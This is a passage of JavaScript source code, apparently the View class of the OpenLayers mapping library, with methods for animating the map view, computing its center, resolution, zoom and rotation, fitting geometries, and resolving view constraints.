this.cancelAnchor_ = anchor;\n this.nextCenter_ = null;\n this.nextResolution_ = NaN;\n this.nextRotation_ = NaN;\n };\n /**\n * Update all animations.\n */\n View.prototype.updateAnimations_ = function () {\n if (this.updateAnimationKey_ !== undefined) {\n cancelAnimationFrame(this.updateAnimationKey_);\n this.updateAnimationKey_ = undefined;\n }\n if (!this.getAnimating()) {\n return;\n }\n var now = Date.now();\n var more = false;\n for (var i = this.animations_.length - 1; i >= 0; --i) {\n var series = this.animations_[i];\n var seriesComplete = true;\n for (var j = 0, jj = series.length; j < jj; ++j) {\n var animation = series[j];\n if (animation.complete) {\n continue;\n }\n var elapsed = now - animation.start;\n var fraction = animation.duration > 0 ? elapsed / animation.duration : 1;\n if (fraction >= 1) {\n animation.complete = true;\n fraction = 1;\n }\n else {\n seriesComplete = false;\n }\n var progress = animation.easing(fraction);\n if (animation.sourceCenter) {\n var x0 = animation.sourceCenter[0];\n var y0 = animation.sourceCenter[1];\n var x1 = animation.targetCenter[0];\n var y1 = animation.targetCenter[1];\n this.nextCenter_ = animation.targetCenter;\n var x = x0 + progress * (x1 - x0);\n var y = y0 + progress * (y1 - y0);\n this.targetCenter_ = [x, y];\n }\n if (animation.sourceResolution && animation.targetResolution) {\n var resolution = progress === 1\n ? animation.targetResolution\n : animation.sourceResolution +\n progress *\n (animation.targetResolution - animation.sourceResolution);\n if (animation.anchor) {\n var size = this.getViewportSize_(this.getRotation());\n var constrainedResolution = this.constraints_.resolution(resolution, 0, size, true);\n this.targetCenter_ = this.calculateCenterZoom(constrainedResolution, animation.anchor);\n }\n this.nextResolution_ = animation.targetResolution;\n this.targetResolution_ = resolution;\n this.applyTargetState_(true);\n }\n if (animation.sourceRotation !== undefined &&\n animation.targetRotation !== undefined) {\n var rotation = progress === 1\n ? modulo(animation.targetRotation + Math.PI, 2 * Math.PI) -\n Math.PI\n : animation.sourceRotation +\n progress *\n (animation.targetRotation - animation.sourceRotation);\n if (animation.anchor) {\n var constrainedRotation = this.constraints_.rotation(rotation, true);\n this.targetCenter_ = this.calculateCenterRotate(constrainedRotation, animation.anchor);\n }\n this.nextRotation_ = animation.targetRotation;\n this.targetRotation_ = rotation;\n }\n this.applyTargetState_(true);\n more = true;\n if (!animation.complete) {\n break;\n }\n }\n if (seriesComplete) {\n this.animations_[i] = null;\n this.setHint(ViewHint.ANIMATING, -1);\n this.nextCenter_ = null;\n this.nextResolution_ = NaN;\n this.nextRotation_ = NaN;\n var callback = series[0].callback;\n if (callback) {\n animationCallback(callback, true);\n }\n }\n }\n // prune completed series\n this.animations_ = this.animations_.filter(Boolean);\n if (more && this.updateAnimationKey_ === undefined) {\n this.updateAnimationKey_ = requestAnimationFrame(this.updateAnimations_.bind(this));\n }\n };\n /**\n * @param {number} rotation Target rotation.\n * @param {import(\"./coordinate.js\").Coordinate} anchor Rotation anchor.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} Center for rotation and anchor.\n */\n View.prototype.calculateCenterRotate = function (rotation, anchor) {\n var center;\n var currentCenter = this.getCenterInternal();\n if (currentCenter !== undefined) {\n center = [currentCenter[0] - anchor[0], currentCenter[1] - anchor[1]];\n rotateCoordinate(center, rotation - this.getRotation());\n addCoordinate(center, anchor);\n }\n return center;\n };\n /**\n * @param {number} resolution Target resolution.\n * @param {import(\"./coordinate.js\").Coordinate} anchor Zoom anchor.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} Center for resolution and anchor.\n */\n View.prototype.calculateCenterZoom = function (resolution, anchor) {\n var center;\n var currentCenter = this.getCenterInternal();\n var currentResolution = this.getResolution();\n if (currentCenter !== undefined && currentResolution !== undefined) {\n var x = anchor[0] -\n (resolution * (anchor[0] - currentCenter[0])) / currentResolution;\n var y = anchor[1] -\n (resolution * (anchor[1] - currentCenter[1])) / currentResolution;\n center = [x, y];\n }\n return center;\n };\n /**\n * Returns the current viewport size.\n * @private\n * @param {number} [opt_rotation] Take into account the rotation of the viewport when giving the size\n * @return {import(\"./size.js\").Size} Viewport size or `[100, 100]` when no viewport is found.\n */\n View.prototype.getViewportSize_ = function (opt_rotation) {\n var size = this.viewportSize_;\n if (opt_rotation) {\n var w = size[0];\n var h = size[1];\n return [\n Math.abs(w * Math.cos(opt_rotation)) +\n Math.abs(h * Math.sin(opt_rotation)),\n Math.abs(w * Math.sin(opt_rotation)) +\n Math.abs(h * Math.cos(opt_rotation)),\n ];\n }\n else {\n return size;\n }\n };\n /**\n * Stores the viewport size on the view. The viewport size is not read every time from the DOM\n * to avoid performance hit and layout reflow.\n * This should be done on map size change.\n * Note: the constraints are not resolved during an animation to avoid stopping it\n * @param {import(\"./size.js\").Size} [opt_size] Viewport size; if undefined, [100, 100] is assumed\n */\n View.prototype.setViewportSize = function (opt_size) {\n this.viewportSize_ = Array.isArray(opt_size)\n ? opt_size.slice()\n : [100, 100];\n if (!this.getAnimating()) {\n this.resolveConstraints(0);\n }\n };\n /**\n * Get the view center.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} The center of the view.\n * @observable\n * @api\n */\n View.prototype.getCenter = function () {\n var center = this.getCenterInternal();\n if (!center) {\n return center;\n }\n return toUserCoordinate(center, this.getProjection());\n };\n /**\n * Get the view center without transforming to user projection.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} The center of the view.\n */\n View.prototype.getCenterInternal = function () {\n return /** @type {import(\"./coordinate.js\").Coordinate|undefined} */ (this.get(ViewProperty.CENTER));\n };\n /**\n * @return {Constraints} Constraints.\n */\n View.prototype.getConstraints = function () {\n return this.constraints_;\n };\n /**\n * @return {boolean} Resolution constraint is set\n */\n View.prototype.getConstrainResolution = function () {\n return this.get('constrainResolution');\n };\n /**\n * @param {Array<number>} [opt_hints] Destination array.\n * @return {Array<number>} Hint.\n */\n View.prototype.getHints = function (opt_hints) {\n if (opt_hints !== undefined) {\n opt_hints[0] = this.hints_[0];\n opt_hints[1] = this.hints_[1];\n return opt_hints;\n }\n else {\n return this.hints_.slice();\n }\n };\n /**\n * Calculate the extent for the current view state and the passed size.\n * The size is the pixel dimensions of the box into which the calculated extent\n * should fit. In most cases you want to get the extent of the entire map,\n * that is `map.getSize()`.\n * @param {import(\"./size.js\").Size} [opt_size] Box pixel size. If not provided, the size\n * of the map that uses this view will be used.\n * @return {import(\"./extent.js\").Extent} Extent.\n * @api\n */\n View.prototype.calculateExtent = function (opt_size) {\n var extent = this.calculateExtentInternal(opt_size);\n return toUserExtent(extent, this.getProjection());\n };\n /**\n * @param {import(\"./size.js\").Size} [opt_size] Box pixel size. If not provided,\n * the map's last known viewport size will be used.\n * @return {import(\"./extent.js\").Extent} Extent.\n */\n View.prototype.calculateExtentInternal = function (opt_size) {\n var size = opt_size || this.getViewportSizeMinusPadding_();\n var center = /** @type {!import(\"./coordinate.js\").Coordinate} */ (this.getCenterInternal());\n assert(center, 1); // The view center is not defined\n var resolution = /** @type {!number} */ (this.getResolution());\n assert(resolution !== undefined, 2); // The view resolution is not defined\n var rotation = /** @type {!number} */ (this.getRotation());\n assert(rotation !== undefined, 3); // The view rotation is not defined\n return getForViewAndSize(center, resolution, rotation, size);\n };\n /**\n * Get the maximum resolution of the view.\n * @return {number} The maximum resolution of the view.\n * @api\n */\n View.prototype.getMaxResolution = function () {\n return this.maxResolution_;\n };\n /**\n * Get the minimum resolution of the view.\n * @return {number} The minimum resolution of the view.\n * @api\n */\n View.prototype.getMinResolution = function () {\n return this.minResolution_;\n };\n /**\n * Get the maximum zoom level for the view.\n * @return {number} The maximum zoom level.\n * @api\n */\n View.prototype.getMaxZoom = function () {\n return /** @type {number} */ (this.getZoomForResolution(this.minResolution_));\n };\n /**\n * Set a new maximum zoom level for the view.\n * @param {number} zoom The maximum zoom level.\n * @api\n */\n View.prototype.setMaxZoom = function (zoom) {\n this.applyOptions_(this.getUpdatedOptions_({ maxZoom: zoom }));\n };\n /**\n * Get the minimum zoom level for the view.\n * @return {number} The minimum zoom level.\n * @api\n */\n View.prototype.getMinZoom = function () {\n return /** @type {number} */ (this.getZoomForResolution(this.maxResolution_));\n };\n /**\n * Set a new minimum zoom level for the view.\n * @param {number} zoom The minimum zoom level.\n * @api\n */\n View.prototype.setMinZoom = function (zoom) {\n this.applyOptions_(this.getUpdatedOptions_({ minZoom: zoom }));\n };\n /**\n * Set whether the view should allow intermediary zoom levels.\n * @param {boolean} enabled Whether the resolution is constrained.\n * @api\n */\n View.prototype.setConstrainResolution = function (enabled) {\n this.applyOptions_(this.getUpdatedOptions_({ constrainResolution: enabled }));\n };\n /**\n * Get the view projection.\n * @return {import(\"./proj/Projection.js\").default} The projection of the view.\n * @api\n */\n View.prototype.getProjection = function () {\n return this.projection_;\n };\n /**\n * Get the view resolution.\n * @return {number|undefined} The resolution of the view.\n * @observable\n * @api\n */\n View.prototype.getResolution = function () {\n return /** @type {number|undefined} */ (this.get(ViewProperty.RESOLUTION));\n };\n /**\n * Get the resolutions for the view. This returns the array of resolutions\n * passed to the constructor of the View, or undefined if none were given.\n * @return {Array<number>|undefined} The resolutions of the view.\n * @api\n */\n View.prototype.getResolutions = function () {\n return this.resolutions_;\n };\n /**\n * Get the resolution for a provided extent (in map units) and size (in pixels).\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {import(\"./size.js\").Size} [opt_size] Box pixel size.\n * @return {number} The resolution at which the provided extent will render at\n * the given size.\n * @api\n */\n View.prototype.getResolutionForExtent = function (extent, opt_size) {\n return this.getResolutionForExtentInternal(fromUserExtent(extent, this.getProjection()), opt_size);\n };\n /**\n * Get the resolution for a provided extent (in map units) and size (in pixels).\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {import(\"./size.js\").Size} [opt_size] Box pixel size.\n * @return {number} The resolution at which the provided extent will render at\n * the given size.\n */\n View.prototype.getResolutionForExtentInternal = function (extent, opt_size) {\n var size = opt_size || this.getViewportSizeMinusPadding_();\n var xResolution = getWidth(extent) / size[0];\n var yResolution = getHeight(extent) / size[1];\n return Math.max(xResolution, yResolution);\n };\n /**\n * Return a function that returns a value between 0 and 1 for a\n * resolution. Exponential scaling is assumed.\n * @param {number} [opt_power] Power.\n * @return {function(number): number} Resolution for value function.\n */\n View.prototype.getResolutionForValueFunction = function (opt_power) {\n var power = opt_power || 2;\n var maxResolution = this.getConstrainedResolution(this.maxResolution_);\n var minResolution = this.minResolution_;\n var max = Math.log(maxResolution / minResolution) / Math.log(power);\n return (\n /**\n * @param {number} value Value.\n * @return {number} Resolution.\n */\n function (value) {\n var resolution = maxResolution / Math.pow(power, value * max);\n return resolution;\n });\n };\n /**\n * Get the view rotation.\n * @return {number} The rotation of the view in radians.\n * @observable\n * @api\n */\n View.prototype.getRotation = function () {\n return /** @type {number} */ (this.get(ViewProperty.ROTATION));\n };\n /**\n * Return a function that returns a resolution for a value between\n * 0 and 1. Exponential scaling is assumed.\n * @param {number} [opt_power] Power.\n * @return {function(number): number} Value for resolution function.\n */\n View.prototype.getValueForResolutionFunction = function (opt_power) {\n var logPower = Math.log(opt_power || 2);\n var maxResolution = this.getConstrainedResolution(this.maxResolution_);\n var minResolution = this.minResolution_;\n var max = Math.log(maxResolution / minResolution) / logPower;\n return (\n /**\n * @param {number} resolution Resolution.\n * @return {number} Value.\n */\n function (resolution) {\n var value = Math.log(maxResolution / resolution) / logPower / max;\n return value;\n });\n };\n /**\n * Returns the size of the viewport minus padding.\n * @private\n * @param {number} [opt_rotation] Take into account the rotation of the viewport when giving the size\n * @return {import(\"./size.js\").Size} Viewport size reduced by the padding.\n */\n View.prototype.getViewportSizeMinusPadding_ = function (opt_rotation) {\n var size = this.getViewportSize_(opt_rotation);\n var padding = this.padding_;\n if (padding) {\n size = [\n size[0] - padding[1] - padding[3],\n size[1] - padding[0] - padding[2],\n ];\n }\n return size;\n };\n /**\n * @return {State} View state.\n */\n View.prototype.getState = function () {\n var projection = this.getProjection();\n var resolution = this.getResolution();\n var rotation = this.getRotation();\n var center = /** @type {import(\"./coordinate.js\").Coordinate} */ (this.getCenterInternal());\n var padding = this.padding_;\n if (padding) {\n var reducedSize = this.getViewportSizeMinusPadding_();\n center = calculateCenterOn(center, this.getViewportSize_(), [reducedSize[0] / 2 + padding[3], reducedSize[1] / 2 + padding[0]], resolution, rotation);\n }\n return {\n center: center.slice(0),\n projection: projection !== undefined ? projection : null,\n resolution: resolution,\n nextCenter: this.nextCenter_,\n nextResolution: this.nextResolution_,\n nextRotation: this.nextRotation_,\n rotation: rotation,\n zoom: this.getZoom(),\n };\n };\n /**\n * Get the current zoom level. This method may return non-integer zoom levels\n * if the view does not constrain the resolution, or if an interaction or\n * animation is underway.\n * @return {number|undefined} Zoom.\n * @api\n */\n View.prototype.getZoom = function () {\n var zoom;\n var resolution = this.getResolution();\n if (resolution !== undefined) {\n zoom = this.getZoomForResolution(resolution);\n }\n return zoom;\n };\n /**\n * Get the zoom level for a resolution.\n * @param {number} resolution The resolution.\n * @return {number|undefined} The zoom level for the provided resolution.\n * @api\n */\n View.prototype.getZoomForResolution = function (resolution) {\n var offset = this.minZoom_ || 0;\n var max, zoomFactor;\n if (this.resolutions_) {\n var nearest = linearFindNearest(this.resolutions_, resolution, 1);\n offset = nearest;\n max = this.resolutions_[nearest];\n if (nearest == this.resolutions_.length - 1) {\n zoomFactor = 2;\n }\n else {\n zoomFactor = max / this.resolutions_[nearest + 1];\n }\n }\n else {\n max = this.maxResolution_;\n zoomFactor = this.zoomFactor_;\n }\n return offset + Math.log(max / resolution) / Math.log(zoomFactor);\n };\n /**\n * Get the resolution for a zoom level.\n * @param {number} zoom Zoom level.\n * @return {number} The view resolution for the provided zoom level.\n * @api\n */\n View.prototype.getResolutionForZoom = function (zoom) {\n if (this.resolutions_) {\n if (this.resolutions_.length <= 1) {\n return 0;\n }\n var baseLevel = clamp(Math.floor(zoom), 0, this.resolutions_.length - 2);\n var zoomFactor = this.resolutions_[baseLevel] / this.resolutions_[baseLevel + 1];\n return (this.resolutions_[baseLevel] /\n Math.pow(zoomFactor, clamp(zoom - baseLevel, 0, 1)));\n }\n else {\n return (this.maxResolution_ / Math.pow(this.zoomFactor_, zoom - this.minZoom_));\n }\n };\n /**\n * Fit the given geometry or extent based on the given map size and border.\n * The size is pixel dimensions of the box to fit the extent into.\n * In most cases you will want to use the map size, that is `map.getSize()`.\n * Takes care of the map angle.\n * @param {import(\"./geom/SimpleGeometry.js\").default|import(\"./extent.js\").Extent} geometryOrExtent The geometry or\n * extent to fit the view to.\n * @param {FitOptions} [opt_options] Options.\n * @api\n */\n View.prototype.fit = function (geometryOrExtent, opt_options) {\n /** @type {import(\"./geom/SimpleGeometry.js\").default} */\n var geometry;\n assert(Array.isArray(geometryOrExtent) ||\n typeof ( /** @type {?} */(geometryOrExtent).getSimplifiedGeometry) ===\n 'function', 24); // Invalid extent or geometry provided as `geometry`\n if (Array.isArray(geometryOrExtent)) {\n assert(!isEmpty(geometryOrExtent), 25); // Cannot fit empty extent provided as `geometry`\n var extent = fromUserExtent(geometryOrExtent, this.getProjection());\n geometry = polygonFromExtent(extent);\n }\n else if (geometryOrExtent.getType() === 'Circle') {\n var extent = fromUserExtent(geometryOrExtent.getExtent(), this.getProjection());\n geometry = polygonFromExtent(extent);\n geometry.rotate(this.getRotation(), getCenter(extent));\n }\n else {\n var userProjection = getUserProjection();\n if (userProjection) {\n geometry = /** @type {import(\"./geom/SimpleGeometry.js\").default} */ (geometryOrExtent\n .clone()\n .transform(userProjection, this.getProjection()));\n }\n else {\n geometry = geometryOrExtent;\n }\n }\n this.fitInternal(geometry, opt_options);\n };\n /**\n * Calculate rotated extent\n * @param {import(\"./geom/SimpleGeometry.js\").default} geometry The geometry.\n * @return {import(\"./extent\").Extent} The rotated extent for the geometry.\n */\n View.prototype.rotatedExtentForGeometry = function (geometry) {\n var rotation = this.getRotation();\n var cosAngle = Math.cos(rotation);\n var sinAngle = Math.sin(-rotation);\n var coords = geometry.getFlatCoordinates();\n var stride = geometry.getStride();\n var minRotX = +Infinity;\n var minRotY = +Infinity;\n var maxRotX = -Infinity;\n var maxRotY = -Infinity;\n for (var i = 0, ii = coords.length; i < ii; i += stride) {\n var rotX = coords[i] * cosAngle - coords[i + 1] * sinAngle;\n var rotY = coords[i] * sinAngle + coords[i + 1] * cosAngle;\n minRotX = Math.min(minRotX, rotX);\n minRotY = Math.min(minRotY, rotY);\n maxRotX = Math.max(maxRotX, rotX);\n maxRotY = Math.max(maxRotY, rotY);\n }\n return [minRotX, minRotY, maxRotX, maxRotY];\n };\n /**\n * @param {import(\"./geom/SimpleGeometry.js\").default} geometry The geometry.\n * @param {FitOptions} [opt_options] Options.\n */\n View.prototype.fitInternal = function (geometry, opt_options) {\n var options = opt_options || {};\n var size = options.size;\n if (!size) {\n size = this.getViewportSizeMinusPadding_();\n }\n var padding = options.padding !== undefined ? options.padding : [0, 0, 0, 0];\n var nearest = options.nearest !== undefined ? options.nearest : false;\n var minResolution;\n if (options.minResolution !== undefined) {\n minResolution = options.minResolution;\n }\n else if (options.maxZoom !== undefined) {\n minResolution = this.getResolutionForZoom(options.maxZoom);\n }\n else {\n minResolution = 0;\n }\n var rotatedExtent = this.rotatedExtentForGeometry(geometry);\n // calculate resolution\n var resolution = this.getResolutionForExtentInternal(rotatedExtent, [\n size[0] - padding[1] - padding[3],\n size[1] - padding[0] - padding[2],\n ]);\n resolution = isNaN(resolution)\n ? minResolution\n : Math.max(resolution, minResolution);\n resolution = this.getConstrainedResolution(resolution, nearest ? 0 : 1);\n // calculate center\n var rotation = this.getRotation();\n var sinAngle = Math.sin(rotation);\n var cosAngle = Math.cos(rotation);\n var centerRot = getCenter(rotatedExtent);\n centerRot[0] += ((padding[1] - padding[3]) / 2) * resolution;\n centerRot[1] += ((padding[0] - padding[2]) / 2) * resolution;\n var centerX = centerRot[0] * cosAngle - centerRot[1] * sinAngle;\n var centerY = centerRot[1] * cosAngle + centerRot[0] * sinAngle;\n var center = this.getConstrainedCenter([centerX, centerY], resolution);\n var callback = options.callback ? options.callback : VOID;\n if (options.duration !== undefined) {\n this.animateInternal({\n resolution: resolution,\n center: center,\n duration: options.duration,\n easing: options.easing,\n }, callback);\n }\n else {\n this.targetResolution_ = resolution;\n this.targetCenter_ = center;\n this.applyTargetState_(false, true);\n animationCallback(callback, true);\n }\n };\n /**\n * Center on coordinate and view position.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"./size.js\").Size} size Box pixel size.\n * @param {import(\"./pixel.js\").Pixel} position Position on the view to center on.\n * @api\n */\n View.prototype.centerOn = function (coordinate, size, position) {\n this.centerOnInternal(fromUserCoordinate(coordinate, this.getProjection()), size, position);\n };\n /**\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"./size.js\").Size} size Box pixel size.\n * @param {import(\"./pixel.js\").Pixel} position Position on the view to center on.\n */\n View.prototype.centerOnInternal = function (coordinate, size, position) {\n this.setCenterInternal(calculateCenterOn(coordinate, size, position, this.getResolution(), this.getRotation()));\n };\n /**\n * Calculates the shift between map and viewport center.\n * @param {import(\"./coordinate.js\").Coordinate} center Center.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @param {import(\"./size.js\").Size} size Size.\n * @return {Array<number>|undefined} Center shift.\n */\n View.prototype.calculateCenterShift = function (center, resolution, rotation, size) {\n var centerShift;\n var padding = this.padding_;\n if (padding && center) {\n var reducedSize = this.getViewportSizeMinusPadding_(-rotation);\n var shiftedCenter = calculateCenterOn(center, size, [reducedSize[0] / 2 + padding[3], reducedSize[1] / 2 + padding[0]], resolution, rotation);\n centerShift = [\n center[0] - shiftedCenter[0],\n center[1] - shiftedCenter[1],\n ];\n }\n return centerShift;\n };\n /**\n * @return {boolean} Is defined.\n */\n View.prototype.isDef = function () {\n return !!this.getCenterInternal() && this.getResolution() !== undefined;\n };\n /**\n * Adds relative coordinates to the center of the view. Any extent constraint will apply.\n * @param {import(\"./coordinate.js\").Coordinate} deltaCoordinates Relative value to add.\n * @api\n */\n View.prototype.adjustCenter = function (deltaCoordinates) {\n var center = toUserCoordinate(this.targetCenter_, this.getProjection());\n this.setCenter([\n center[0] + deltaCoordinates[0],\n center[1] + deltaCoordinates[1],\n ]);\n };\n /**\n * Adds relative coordinates to the center of the view. Any extent constraint will apply.\n * @param {import(\"./coordinate.js\").Coordinate} deltaCoordinates Relative value to add.\n */\n View.prototype.adjustCenterInternal = function (deltaCoordinates) {\n var center = this.targetCenter_;\n this.setCenterInternal([\n center[0] + deltaCoordinates[0],\n center[1] + deltaCoordinates[1],\n ]);\n };\n /**\n * Multiply the view resolution by a ratio, optionally using an anchor. Any resolution\n * constraint will apply.\n * @param {number} ratio The ratio to apply on the view resolution.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n * @api\n */\n View.prototype.adjustResolution = function (ratio, opt_anchor) {\n var anchor = opt_anchor && fromUserCoordinate(opt_anchor, this.getProjection());\n this.adjustResolutionInternal(ratio, anchor);\n };\n /**\n * Multiply the view resolution by a ratio, optionally using an anchor. Any resolution\n * constraint will apply.\n * @param {number} ratio The ratio to apply on the view resolution.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n */\n View.prototype.adjustResolutionInternal = function (ratio, opt_anchor) {\n var isMoving = this.getAnimating() || this.getInteracting();\n var size = this.getViewportSize_(this.getRotation());\n var newResolution = this.constraints_.resolution(this.targetResolution_ * ratio, 0, size, isMoving);\n if (opt_anchor) {\n this.targetCenter_ = this.calculateCenterZoom(newResolution, opt_anchor);\n }\n this.targetResolution_ *= ratio;\n this.applyTargetState_();\n };\n /**\n * Adds a value to the view zoom level, optionally using an anchor. Any resolution\n * constraint will apply.\n * @param {number} delta Relative value to add to the zoom level.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n * @api\n */\n View.prototype.adjustZoom = function (delta, opt_anchor) {\n this.adjustResolution(Math.pow(this.zoomFactor_, -delta), opt_anchor);\n };\n /**\n * Adds a value to the view rotation, optionally using an anchor. Any rotation\n * constraint will apply.\n * @param {number} delta Relative value to add to the zoom rotation, in radians.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The rotation center.\n * @api\n */\n View.prototype.adjustRotation = function (delta, opt_anchor) {\n if (opt_anchor) {\n opt_anchor = fromUserCoordinate(opt_anchor, this.getProjection());\n }\n this.adjustRotationInternal(delta, opt_anchor);\n };\n /**\n * @param {number} delta Relative value to add to the zoom rotation, in radians.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The rotation center.\n */\n View.prototype.adjustRotationInternal = function (delta, opt_anchor) {\n var isMoving = this.getAnimating() || this.getInteracting();\n var newRotation = this.constraints_.rotation(this.targetRotation_ + delta, isMoving);\n if (opt_anchor) {\n this.targetCenter_ = this.calculateCenterRotate(newRotation, opt_anchor);\n }\n this.targetRotation_ += delta;\n this.applyTargetState_();\n };\n /**\n * Set the center of the current view. Any extent constraint will apply.\n * @param {import(\"./coordinate.js\").Coordinate|undefined} center The center of the view.\n * @observable\n * @api\n */\n View.prototype.setCenter = function (center) {\n this.setCenterInternal(center ? fromUserCoordinate(center, this.getProjection()) : center);\n };\n /**\n * Set the center using the view projection (not the user projection).\n * @param {import(\"./coordinate.js\").Coordinate|undefined} center The center of the view.\n */\n View.prototype.setCenterInternal = function (center) {\n this.targetCenter_ = center;\n this.applyTargetState_();\n };\n /**\n * @param {import(\"./ViewHint.js\").default} hint Hint.\n * @param {number} delta Delta.\n * @return {number} New value.\n */\n View.prototype.setHint = function (hint, delta) {\n this.hints_[hint] += delta;\n this.changed();\n return this.hints_[hint];\n };\n /**\n * Set the resolution for this view. Any resolution constraint will apply.\n * @param {number|undefined} resolution The resolution of the view.\n * @observable\n * @api\n */\n View.prototype.setResolution = function (resolution) {\n this.targetResolution_ = resolution;\n this.applyTargetState_();\n };\n /**\n * Set the rotation for this view. Any rotation constraint will apply.\n * @param {number} rotation The rotation of the view in radians.\n * @observable\n * @api\n */\n View.prototype.setRotation = function (rotation) {\n this.targetRotation_ = rotation;\n this.applyTargetState_();\n };\n /**\n * Zoom to a specific zoom level. Any resolution constrain will apply.\n * @param {number} zoom Zoom level.\n * @api\n */\n View.prototype.setZoom = function (zoom) {\n this.setResolution(this.getResolutionForZoom(zoom));\n };\n /**\n * Recompute rotation/resolution/center based on target values.\n * Note: we have to compute rotation first, then resolution and center considering that\n * parameters can influence one another in case a view extent constraint is present.\n * @param {boolean} [opt_doNotCancelAnims] Do not cancel animations.\n * @param {boolean} [opt_forceMoving] Apply constraints as if the view is moving.\n * @private\n */\n View.prototype.applyTargetState_ = function (opt_doNotCancelAnims, opt_forceMoving) {\n var isMoving = this.getAnimating() || this.getInteracting() || opt_forceMoving;\n // compute rotation\n var newRotation = this.constraints_.rotation(this.targetRotation_, isMoving);\n var size = this.getViewportSize_(newRotation);\n var newResolution = this.constraints_.resolution(this.targetResolution_, 0, size, isMoving);\n var newCenter = this.constraints_.center(this.targetCenter_, newResolution, size, isMoving, this.calculateCenterShift(this.targetCenter_, newResolution, newRotation, size));\n if (this.get(ViewProperty.ROTATION) !== newRotation) {\n this.set(ViewProperty.ROTATION, newRotation);\n }\n if (this.get(ViewProperty.RESOLUTION) !== newResolution) {\n this.set(ViewProperty.RESOLUTION, newResolution);\n this.set('zoom', this.getZoom(), true);\n }\n if (!newCenter ||\n !this.get(ViewProperty.CENTER) ||\n !equals(this.get(ViewProperty.CENTER), newCenter)) {\n this.set(ViewProperty.CENTER, newCenter);\n }\n if (this.getAnimating() && !opt_doNotCancelAnims) {\n this.cancelAnimations();\n }\n this.cancelAnchor_ = undefined;\n };\n /**\n * If any constraints need to be applied, an animation will be triggered.\n * This is typically done on interaction end.\n * Note: calling this with a duration of 0 will apply the constrained values straight away,\n * without animation.\n * @param {number} [opt_duration] The animation duration in ms.\n * @param {number} [opt_resolutionDirection] Which direction to zoom.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n */\n View.prototype.resolveConstraints = function (opt_duration, opt_resolutionDirection, opt_anchor) {\n var duration = opt_duration !== undefined ? opt_duration : 200;\n var direction = opt_resolutionDirection || 0;\n var newRotation = this.constraints_.rotation(this.targetRotation_);\n var size = this.getViewportSize_(newRotation);\n var newResolution = this.constraints_.resolution(this.targetResolution_, direction, size);\n var newCenter = this.constraints_.center(this.targetCenter_, newResolution, size, false, this.calculateCenterShift(this.targetCenter_, newResolution, newRotation, size));\n if (duration === 0 && !this.cancelAnchor_) {\n this.targetResolution_ = newResolution;\n this.targetRotation_ = newRotation;\n this.targetCenter_ = newCenter;\n this.applyTargetState_();\n return;\n }\n var anchor = opt_anchor || (duration === 0 ? this.cancelAnchor_ : undefined);\n this.cancelAnchor_ = undefined;\n if (this.getResolution() !== newResolution ||\n this.getRotation() !== newRotation ||\n !this.getCenterInternal() ||\n !equals(this.getCenterInternal(), newCenter)) {\n if (this.getAnimating()) {\n this.cancelAnimations();\n }\n this.animateInternal({\n rotation: newRotation,\n center: newCenter,\n resolution: newResolution,\n duration: duration,\n easing: easeOut,\n anchor: anchor,\n });\n }\n };\n /**\n * Notify the View that an interaction has started.\n * The view state will be resolved to a stable one if needed\n * (depending on its constraints).\n * @api\n */\n View.prototype.beginInteraction = function () {\n this.resolveConstraints(0);\n this.setHint(ViewHint.INTERACTING, 1);\n };\n /**\n * Notify the View that an interaction has ended. The view state will be resolved\n * to a stable one if needed (depending on its constraints).\n * @param {number} [opt_duration] Animation duration in ms.\n * @param {number} [opt_resolutionDirection] Which direction to zoom.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n * @api\n */\n View.prototype.endInteraction = function (opt_duration, opt_resolutionDirection, opt_anchor) {\n var anchor = opt_anchor && fromUserCoordinate(opt_anchor, this.getProjection());\n this.endInteractionInternal(opt_duration, opt_resolutionDirection, anchor);\n };\n /**\n * Notify the View that an interaction has ended. The view state will be resolved\n * to a stable one if needed (depending on its constraints).\n * @param {number} [opt_duration] Animation duration in ms.\n * @param {number} [opt_resolutionDirection] Which direction to zoom.\n * @param {import(\"./coordinate.js\").Coordinate} [opt_anchor] The origin of the transformation.\n */\n View.prototype.endInteractionInternal = function (opt_duration, opt_resolutionDirection, opt_anchor) {\n this.setHint(ViewHint.INTERACTING, -1);\n this.resolveConstraints(opt_duration, opt_resolutionDirection, opt_anchor);\n };\n /**\n * Get a valid position for the view center according to the current constraints.\n * @param {import(\"./coordinate.js\").Coordinate|undefined} targetCenter Target center position.\n * @param {number} [opt_targetResolution] Target resolution. If not supplied, the current one will be used.\n * This is useful to guess a valid center position at a different zoom level.\n * @return {import(\"./coordinate.js\").Coordinate|undefined} Valid center position.\n */\n View.prototype.getConstrainedCenter = function (targetCenter, opt_targetResolution) {\n var size = this.getViewportSize_(this.getRotation());\n return this.constraints_.center(targetCenter, opt_targetResolution || this.getResolution(), size);\n };\n /**\n * Get a valid zoom level according to the current view constraints.\n * @param {number|undefined} targetZoom Target zoom.\n * @param {number} [opt_direction=0] Indicate which resolution should be used\n * by a renderer if the view resolution does not match any resolution of the tile source.\n * If 0, the nearest resolution will be used. If 1, the nearest lower resolution\n * will be used. If -1, the nearest higher resolution will be used.\n * @return {number|undefined} Valid zoom level.\n */\n View.prototype.getConstrainedZoom = function (targetZoom, opt_direction) {\n var targetRes = this.getResolutionForZoom(targetZoom);\n return this.getZoomForResolution(this.getConstrainedResolution(targetRes, opt_direction));\n };\n /**\n * Get a valid resolution according to the current view constraints.\n * @param {number|undefined} targetResolution Target resolution.\n * @param {number} [opt_direction=0] Indicate which resolution should be used\n * by a renderer if the view resolution does not match any resolution of the tile source.\n * If 0, the 